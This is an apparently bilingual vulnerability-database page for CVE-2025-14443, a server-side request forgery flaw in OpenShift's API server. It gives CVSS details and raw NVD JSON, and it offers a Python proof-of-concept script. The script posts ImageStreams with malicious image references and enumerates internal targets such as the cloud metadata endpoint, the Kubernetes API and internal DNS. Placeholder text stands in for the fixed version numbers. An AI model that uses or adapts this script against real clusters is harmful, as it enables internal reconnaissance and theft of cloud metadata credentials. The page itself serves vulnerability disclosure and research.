Security Vulnerability Report
中文
CVE-2025-14443 CVSS 6.4 MEDIUM

CVE-2025-14443

Published: 2025-12-16 13:15:57
Last Modified: 2026-04-15 00:35:42

Description

A flaw was found in ose-openshift-apiserver. This vulnerability allows internal network enumeration, service discovery, limited information disclosure, and potential denial-of-service (DoS) through Server-Side Request Forgery (SSRF) due to missing IP address and network-range validation when processing user-supplied image references.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Red Hat OpenShift Container Platform 4.x < 修复版本
ose-openshift-apiserver < 修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-14443 SSRF PoC for ose-openshift-apiserver # This PoC demonstrates how an attacker can exploit the missing IP validation # in image reference processing to perform internal network enumeration. def exploit_ssrf(target_url, internal_target): """ Exploit SSRF vulnerability by crafting a malicious image reference. Args: target_url: Base URL of the OpenShift API server internal_target: Internal service to target (e.g., metadata service) """ # Malicious image reference targeting internal service # The @ character separates the registry from the image path malicious_image_ref = f"http://{internal_target}/latest/meta-data/" # Alternative: Use internal IP address # malicious_image_ref = "http://169.254.169.254/latest/meta-data/" # malicious_image_ref = "http://10.0.0.1:8080/internal/api" # Construct the API request endpoint = f"{target_url}/apis/image.openshift.io/v1/namespaces/default/imagestreams" payload = { "apiVersion": "image.openshift.io/v1", "kind": "ImageStream", "metadata": { "name": "malicious-stream" }, "spec": { "tags": [{ "from": { "kind": "DockerImage", "name": malicious_image_ref }, "name": "malicious-tag" }] } } try: response = requests.post(endpoint, json=payload, timeout=10) print(f"[*] Request sent to: {endpoint}") print(f"[*] Malicious image reference: {malicious_image_ref}") print(f"[*] Response status: {response.status_code}") if response.status_code in [200, 201, 400]: print("[+] SSRF payload delivered successfully") print(f"[*] Response: {response.text[:500]}") else: print("[-] Request failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") def enumerate_internal_services(target_url): """ Enumerate internal services using SSRF. """ internal_targets = [ "169.254.169.254:80", # Cloud metadata service "10.0.0.1:8080", # Kubernetes API server "10.0.0.10:53", # Internal DNS "127.0.0.1:9090", # Local monitoring "kubernetes.default.svc:443", # Internal K8s service ] print("[*] Starting internal network enumeration...") for target in internal_targets: print(f"[*] Testing target: {target}") exploit_ssrf(target_url, target) if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2025_14443_poc.py <target_url> <internal_target>") print("Example: python cve_2025_14443_poc.py https://openshift-api:6443 169.254.169.254") sys.exit(1) target = sys.argv[1] internal = sys.argv[2] exploit_ssrf(target, internal)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14443", "sourceIdentifier": "[email protected]", "published": "2025-12-16T13:15:56.720", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in ose-openshift-apiserver. This vulnerability allows internal network enumeration, service discovery, limited information disclosure, and potential denial-of-service (DoS) through Server-Side Request Forgery (SSRF) due to missing IP address and network-range validation when processing user-supplied image references."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-14443", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2420964", "source": "[email protected]"}, {"url": "https://github.com/tuxerrante/openshift-ssrf", "source": "[email protected]"}]}}